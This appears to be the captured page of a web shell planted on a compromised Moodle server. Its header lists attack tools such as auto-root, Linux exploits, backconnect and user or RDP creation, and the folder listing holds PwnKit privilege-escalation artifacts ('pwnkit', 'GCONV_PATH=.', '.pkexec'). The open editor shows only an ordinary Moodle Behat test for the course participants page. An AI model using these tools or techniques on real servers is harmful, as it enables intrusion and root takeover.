Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_blocks.feature
865
B
-rwxrwxrwx
addnewuser.feature
827
B
-rwxrwxrwx
behat_user.php
4.39
KB
-rwxrwxrwx
bulk_editenrolment.feature
2.93
KB
-rwxrwxrwx
bulk_message.feature
1.49
KB
-rwxrwxrwx
course_preference.feature
1.47
KB
-rwxrwxrwx
custom_profile_fields.feature
10.78
KB
-rwxrwxrwx
delete_users.feature
4.62
KB
-rwxrwxrwx
edit_user_enrolment.feature
6.83
KB
-rwxrwxrwx
edit_user_roles.feature
1.62
KB
-rwxrwxrwx
edituserpassword.feature
874
B
-rwxrwxrwx
enrol_cohort_list.feature
2.2
KB
-rwxrwxrwx
filter_idnumber.feature
3.18
KB
-rwxrwxrwx
filter_participants.feature
46.55
KB
-rwxrwxrwx
filter_participants_showall.fe...
6.73
KB
-rwxrwxrwx
full_name_display.feature
4.68
KB
-rwxrwxrwx
hidden_user_fields.feature
2.09
KB
-rwxrwxrwx
input-purpose.feature
2
KB
-rwxrwxrwx
name_fields.feature
3.02
KB
-rwxrwxrwx
participants_in_group_modes.fe...
9.9
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
reset_page.feature
915
B
-rwxrwxrwx
set_default_homepage.feature
2.54
KB
-rwxrwxrwx
set_email_display.feature
3.25
KB
-rwxrwxrwx
table_column_visibility.featur...
2.44
KB
-rwxrwxrwx
table_sorting.feature
3
KB
-rwxrwxrwx
user_grade_navigation.feature
4.56
KB
-rwxrwxrwx
view_full_profile.feature
5.11
KB
-rwxrwxrwx
view_participants.feature
15.19
KB
-rwxrwxrwx
view_participants_groups.featu...
3.38
KB
-rwxrwxrwx
view_preferences_page.feature
3.35
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_participants.feature
@core @core_user Feature: View course participants In order to know who is on a course As a teacher I need to be able to view the participants on a course Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1x | Teacher | 1x | teacher1x@example.com | | student0x | Student | 0x | student0x@example.com | | student1x | Student | 1x | student1x@example.com | | student2x | Student | 2x | student2x@example.com | | student3x | Student | 3x | student3x@example.com | | student4x | Student | 4x | student4x@example.com | | student5x | Student | 5x | student5x@example.com | | student6x | Student | 6x | student6x@example.com | | student7x | Student | 7x | student7x@example.com | | student8x | Student | 8x | student8x@example.com | | student9x | Student | 9x | student9x@example.com | | student10x | Student | 10x | student10x@example.com | | student11x | Student | 11x | student11x@example.com | | student12x | Student | 12x | student12x@example.com | | student13x | Student | 13x | student13x@example.com | | student14x | Student | 14x | student14x@example.com | | student15x | Student | 15x | student15x@example.com | | student16x | Student | 16x | student16x@example.com | | student17x | Student | 17x | student17x@example.com | | student18x | Student | 18x | student18x@example.com | | student19x | Student | 19x | student19x@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | status | timeend | | teacher1x | C1 | editingteacher | 0 | 0 | | student0x | C1 | student | 0 | 0 | | student1x | C1 | student | 0 | 0 | | student2x | C1 | student | 0 | 0 | | student3x | C1 | student | 0 | 0 | | student4x | C1 | student | 0 | 0 | | student5x | C1 | student | 0 | 0 | | student6x | C1 | student | 0 | 0 | | student7x | C1 | student | 0 | 0 | | student8x | C1 | student | 0 | 0 | | student9x | C1 | student | 0 | 0 | | student10x | C1 | student | 1 | 0 | | student11x | C1 | student | 0 | 100 | | student12x | C1 | student | 0 | 0 | | student13x | C1 | student | 0 | 0 | | student14x | C1 | student | 0 | 0 | | student15x | C1 | student | 0 | 0 | | student16x | C1 | student | 0 | 0 | | student17x | C1 | student | 0 | 0 | | student18x | C1 | student | 0 | 0 | @javascript Scenario: Use select and deselect all buttons Given I log in as "teacher1x" And I am on "Course 1" course homepage And I navigate to course participants When I click on "Select all" "checkbox" Then the field "Select 'Teacher 1x'" matches value "1" And the field "Select 'Student 0x'" matches value "1" And the field "Select 'Student 1x'" matches value "1" And the field "Select 'Student 2x'" matches value "1" And the field "Select 'Student 3x'" matches value "1" And the field "Select 'Student 4x'" matches value "1" And the field "Select 'Student 5x'" matches value "1" And the field "Select 'Student 6x'" matches value "1" And the field "Select 'Student 7x'" matches value "1" And the field "Select 'Student 8x'" matches value "1" And the field "Select 'Student 9x'" matches value "1" And the field "Select 'Student 10x'" matches value "1" And the field "Select 'Student 11x'" matches value "1" And the field "Select 'Student 12x'" matches value "1" And the field "Select 'Student 13x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 15x'" matches value "1" And the field "Select 'Student 16x'" matches value "1" And the field "Select 'Student 17x'" matches value "1" And the field "Select 'Student 18x'" matches value "1" And I click on "Deselect all" "checkbox" And the field "Select 'Teacher 1x'" matches value "0" And the field "Select 'Student 0x'" matches value "0" And the field "Select 'Student 1x'" matches value "0" And the field "Select 'Student 2x'" matches value "0" And the field "Select 'Student 3x'" matches value "0" And the field "Select 'Student 4x'" matches value "0" And the field "Select 'Student 5x'" matches value "0" And the field "Select 'Student 6x'" matches value "0" And the field "Select 'Student 7x'" matches value "0" And the field "Select 'Student 8x'" matches value "0" And the field "Select 'Student 9x'" matches value "0" And the field "Select 'Student 10x'" matches value "0" And the field "Select 'Student 11x'" matches value "0" And the field "Select 'Student 12x'" matches value "0" And the field "Select 'Student 13x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 15x'" matches value "0" And the field "Select 'Student 16x'" matches value "0" And the field "Select 'Student 17x'" matches value "0" And the field "Select 'Student 18x'" matches value "0" @javascript Scenario: Sort and paginate the list of users Given I log in as "teacher1x" And the following "course enrolments" exist: | user | course | role | | student19x | C1 | student | And I am on "Course 1" course homepage And I navigate to course participants And I follow "Email address" When I click on "2" "link" in the "//nav[@aria-label='Page']" "xpath_element" Then I should not see "student0x@example.com" And I should not see "student19x@example.com" And I should see "teacher1x@example.com" And I follow "Email address" And I click on "2" "link" in the "//nav[@aria-label='Page']" "xpath_element" And I should not see "teacher1x@example.com" And I should not see "student19x@example.com" And I should not see "student1x@example.com" And I should see "student0x@example.com" @javascript Scenario: Use select all users on this page, select all users and deselect all Given the following "course enrolments" exist: | user | course | role | | student19x | C1 | student | When I log in as "teacher1x" And I am on "Course 1" course homepage And I navigate to course participants And I click on "Select all" "checkbox" Then I should not see "Student 9x" And the field "Select 'Teacher 1x'" matches value "1" And the field "Select 'Student 0x'" matches value "1" And the field "Select 'Student 1x'" matches value "1" And the field "Select 'Student 2x'" matches value "1" And the field "Select 'Student 3x'" matches value "1" And the field "Select 'Student 4x'" matches value "1" And the field "Select 'Student 5x'" matches value "1" And the field "Select 'Student 6x'" matches value "1" And the field "Select 'Student 7x'" matches value "1" And the field "Select 'Student 8x'" matches value "1" And the field "Select 'Student 10x'" matches value "1" And the field "Select 'Student 11x'" matches value "1" And the field "Select 'Student 12x'" matches value "1" And the field "Select 'Student 13x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 15x'" matches value "1" And the field "Select 'Student 16x'" matches value "1" And the field "Select 'Student 17x'" matches value "1" And the field "Select 'Student 18x'" matches value "1" And the field "Select 'Student 19x'" matches value "1" And I click on "Deselect all" "checkbox" And the field "Select 'Teacher 1x'" matches value "0" And the field "Select 'Student 0x'" matches value "0" And the field "Select 'Student 1x'" matches value "0" And the field "Select 'Student 2x'" matches value "0" And the field "Select 'Student 3x'" matches value "0" And the field "Select 'Student 4x'" matches value "0" And the field "Select 'Student 5x'" matches value "0" And the field "Select 'Student 6x'" matches value "0" And the field "Select 'Student 7x'" matches value "0" And the field "Select 'Student 8x'" matches value "0" And the field "Select 'Student 10x'" matches value "0" And the field "Select 'Student 11x'" matches value "0" And the field "Select 'Student 12x'" matches value "0" And the field "Select 'Student 13x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 15x'" matches value "0" And the field "Select 'Student 16x'" matches value "0" And the field "Select 'Student 17x'" matches value "0" And the field "Select 'Student 18x'" matches value "0" And the field "Select 'Student 19x'" matches value "0" # Pressing the "Select all X users" button should select all including the 21st user (Student 9x). And I press "Select all 21 users" And I should see "Student 9x" And the field "Select 'Teacher 1x'" matches value "1" And the field "Select 'Student 0x'" matches value "1" And the field "Select 'Student 1x'" matches value "1" And the field "Select 'Student 2x'" matches value "1" And the field "Select 'Student 3x'" matches value "1" And the field "Select 'Student 4x'" matches value "1" And the field "Select 'Student 5x'" matches value "1" And the field "Select 'Student 6x'" matches value "1" And the field "Select 'Student 7x'" matches value "1" And the field "Select 'Student 8x'" matches value "1" And the field "Select 'Student 9x'" matches value "1" And the field "Select 'Student 10x'" matches value "1" And the field "Select 'Student 11x'" matches value "1" And the field "Select 'Student 12x'" matches value "1" And the field "Select 'Student 13x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 14x'" matches value "1" And the field "Select 'Student 15x'" matches value "1" And the field "Select 'Student 16x'" matches value "1" And the field "Select 'Student 17x'" matches value "1" And the field "Select 'Student 18x'" matches value "1" And the field "Select 'Student 19x'" matches value "1" And the "With selected users..." "select" should be enabled And I click on "Deselect all" "checkbox" And the field "Select 'Teacher 1x'" matches value "0" And the field "Select 'Student 0x'" matches value "0" And the field "Select 'Student 1x'" matches value "0" And the field "Select 'Student 2x'" matches value "0" And the field "Select 'Student 3x'" matches value "0" And the field "Select 'Student 4x'" matches value "0" And the field "Select 'Student 5x'" matches value "0" And the field "Select 'Student 6x'" matches value "0" And the field "Select 'Student 7x'" matches value "0" And the field "Select 'Student 8x'" matches value "0" And the field "Select 'Student 9x'" matches value "0" And the field "Select 'Student 10x'" matches value "0" And the field "Select 'Student 11x'" matches value "0" And the field "Select 'Student 12x'" matches value "0" And the field "Select 'Student 13x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 14x'" matches value "0" And the field "Select 'Student 15x'" matches value "0" And the field "Select 'Student 16x'" matches value "0" And the field "Select 'Student 17x'" matches value "0" And the field "Select 'Student 18x'" matches value "0" And the field "Select 'Student 19x'" matches value "0" Scenario: View the participants page as a teacher Given I log in as "teacher1x" And I am on "Course 1" course homepage When I navigate to course participants Then I should see "Active" in the "student0x" "table_row" Then I should see "Active" in the "student1x" "table_row" And I should see "Active" in the "student2x" "table_row" And I should see "Active" in the "student3x" "table_row" And I should see "Active" in the "student4x" "table_row" And I should see "Active" in the "student5x" "table_row" And I should see "Active" in the "student6x" "table_row" And I should see "Active" in the "student7x" "table_row" And I should see "Active" in the "student8x" "table_row" And I should see "Active" in the "student9x" "table_row" And I should see "Suspended" in the "student10x" "table_row" And I should see "Not current" in the "student11x" "table_row" And I should see "Active" in the "student12x" "table_row" And I should see "Active" in the "student13x" "table_row" And I should see "Active" in the "student14x" "table_row" And I should see "Active" in the "student15x" "table_row" And I should see "Active" in the "student16x" "table_row" And I should see "Active" in the "student17x" "table_row" And I should see "Active" in the "student18x" "table_row" Scenario: View the participants page as a student Given I log in as "student1x" And I am on "Course 1" course homepage When I navigate to course participants # Student should not see the status column. Then I should not see "Status" in the "participants" "table" # Student should be able to see the other actively-enrolled students. And I should see "Student 1x" in the "participants" "table" And I should see "Student 2x" in the "participants" "table" And I should see "Student 3x" in the "participants" "table" And I should see "Student 4x" in the "participants" "table" And I should see "Student 5x" in the "participants" "table" And I should see "Student 6x" in the "participants" "table" And I should see "Student 7x" in the "participants" "table" And I should see "Student 8x" in the "participants" "table" # Suspended and non-current students should not be rendered. And I should not see "Student 10x" in the "participants" "table" And I should not see "Student 11x" in the "participants" "table" Scenario: Check status after disabling manual enrolment Given I log in as "admin" And I am on "Course 1" course homepage And I navigate to course participants When I navigate to "Users > Enrolment methods" in current page administration And I click on "Disable" "link" in the "Manual enrolments" "table_row" Then I navigate to course participants And I should see "Not current" in the "student0x" "table_row"
Close